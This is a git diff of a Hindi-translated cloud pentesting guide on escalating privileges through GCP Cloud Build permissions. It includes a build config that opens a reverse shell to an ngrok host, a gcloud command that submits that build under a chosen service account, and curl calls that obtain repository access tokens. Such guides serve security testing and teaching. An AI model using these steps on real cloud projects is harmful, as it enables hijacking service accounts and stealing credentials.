Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/

This commit is contained in:
Translator
2025-08-18 14:48:56 +00:00
parent fdc60c859c
commit 465834ec6f

View File

@@ -12,22 +12,34 @@ Cloud Build के बारे में अधिक जानकारी क
### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs`
इस अनुमति के साथ आप **एक क्लाउड बिल्ड सबमिट कर सकते हैं**। cloudbuild मशीन में **डिफ़ॉल्ट रूप से cloudbuild Service Account का एक टोकन होगा**: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`। हालाँकि, आप cloudbuild कॉन्फ़िगरेशन में **परियोजना के भीतर किसी भी सेवा खाते** को **संकेतित** कर सकते हैं।\
इसलिए, आप बस मशीन को आपके सर्वर पर टोकन को एक्सफिल्ट्रेट करने के लिए कह सकते हैं या **इसके अंदर एक रिवर्स शेल प्राप्त कर सकते हैं और खुद को टोकन प्राप्त कर सकते हैं** (टोकन वाला फ़ाइल बदल सकता है)।
इस अनुमति के साथ आप **एक क्लाउड बिल्ड सबमिट कर सकते हैं**। cloudbuild मशीन में **डिफ़ॉल्ट रूप से cloudbuild सेवा खाते का एक टोकन** होगा: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`। हालाँकि, आप क्लाउडबिल्ड कॉन्फ़िगरेशन में **परियोजना के भीतर किसी भी सेवा खाते** को **संकेतित** कर सकते हैं।\
इसलिए, आप बस मशीन को अपने सर्वर पर टोकन को एक्सफिल्ट्रेट करने के लिए कह सकते हैं या **इसके अंदर एक रिवर्स शेल प्राप्त कर सकते हैं और खुद को टोकन प्राप्त कर सकते हैं** (टोकन वाला फ़ाइल बदल सकता है)।
आप मूल एक्सप्लॉइट स्क्रिप्ट [**यहाँ GitHub पर**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) पा सकते हैं (लेकिन जिस स्थान से यह टोकन ले रहा था वह मेरे लिए काम नहीं किया)। इसलिए, [**यहाँ एक स्क्रिप्ट देखें जो एक vuln वातावरण के निर्माण, शोषण और सफाई को स्वचालित करती है**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) और cloudbuild मशीन के अंदर एक रिवर्स शेल प्राप्त करने के लिए एक पायथन स्क्रिप्ट और [**इसे यहाँ चुराने के लिए**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (कोड में आप देख सकते हैं कि अन्य सेवा खातों को कैसे निर्दिष्ट किया जाए)**।**
#### gcloud CLI के माध्यम से सीधे शोषण
अधिक गहन व्याख्या के लिए, देखें [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
1- `cloudbuild.yaml` बनाएं और अपने लिस्नर डेटा के साथ संशोधित करें
```yaml
steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
options:
logging: CLOUD_LOGGING_ONLY
```
2- एक साधारण बिल्ड अपलोड करें जिसमें कोई स्रोत न हो, yaml फ़ाइल और बिल्ड पर उपयोग करने के लिए SA निर्दिष्ट करें:
```bash
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com
```
#### Using python gcloud library
आप मूल एक्सप्लॉइट स्क्रिप्ट [**यहां GitHub पर**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) पा सकते हैं (लेकिन जिस स्थान से यह टोकन ले रहा है, वह मेरे लिए काम नहीं किया)। इसलिए, [**यहां एक स्क्रिप्ट देखें जो एक vuln वातावरण के निर्माण, एक्सप्लॉइट और सफाई को स्वचालित करती है**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) और एक पायथन स्क्रिप्ट जो क्लाउडबिल्ड मशीन के अंदर एक रिवर्स शेल प्राप्त करती है और [**इसे यहां चुराती है**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (कोड में आप देख सकते हैं कि अन्य सेवा खातों को कैसे निर्दिष्ट करना है)**।**
### `cloudbuild.builds.update`
अधिक गहन व्याख्या के लिए, जाएं [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
**संभावित रूप से** इस अनुमति के साथ आप **एक क्लाउड बिल्ड को अपडेट कर सकते हैं और बस सेवा खाता टोकन चुरा सकते हैं** जैसे कि पिछले अनुमति के साथ किया गया था (लेकिन दुर्भाग्यवश इस लेखन के समय मैं उस API को कॉल करने का कोई तरीका नहीं ढूंढ सका)।
TODO
### `cloudbuild.repositories.accessReadToken`
इस अनुमति के साथ उपयोगकर्ता **पढ़ने के लिए एक्सेस टोकन** प्राप्त कर सकता है जिसका उपयोग रिपॉजिटरी तक पहुचने के लिए किया जाता है:
इस अनुमति के साथ उपयोगकर्ता **रीड एक्सेस टोकन** प्राप्त कर सकता है जिसका उपयोग रिपॉजिटरी तक पहुचने के लिए किया जाता है:
```bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
@@ -37,7 +49,7 @@ curl -X POST \
```
### `cloudbuild.repositories.accessReadWriteToken`
इस अनुमति के साथ, उपयोगकर्ता **पढ़ने और लिखने की पहुँच टोकन** प्राप्त कर सकता है जिसका उपयोग भंडार तक पहुँचने के लिए किया जाता है:
इस अनुमति के साथ उपयोगकर्ता **पढ़ने और लिखने की पहुँच टोकन** प्राप्त कर सकता है जिसका उपयोग भंडार तक पहुँचने के लिए किया जाता है:
```bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \